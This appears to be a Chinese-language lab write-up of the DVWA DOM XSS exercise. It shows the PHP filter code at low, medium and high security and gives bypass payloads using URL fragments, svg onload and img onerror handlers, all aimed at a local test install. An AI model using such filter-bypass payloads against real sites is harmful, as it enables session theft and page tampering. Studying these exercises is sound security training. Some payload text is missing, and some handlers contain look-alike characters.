XSS(DOM):
Low:
源代码:
<?php
# No protections, anything goes
?>
服务器端并没有写任何的php代码,处理用户输入的只有前端的js代码
做法:将English改为
回车,产生了弹窗
查看前端源代码,可以看到被写入了value中
Medium:
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {//不允许使用script标签
header ("location: ?default=English");
exit;
}
}
?>
stripos,stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写),格式stripos(string,find,start)。,防止了大小写绕过
代码第8行,不允许使用script标签
方法一:加#号截断,url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert('xss')%3C/script%3E
方法二:尝试其他标签特性执行js代码
127.0.0.1/DVWA/vulnerabilities/xss_d/?default=</option></select><svg οnlοad=alert("xss")>
High:
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
分析代码,要求default的值必须为select选择菜单中的值,使用#符号绕过就行
?default=English#</option></select><img src=xss οnerrοr=alert(/xss/)>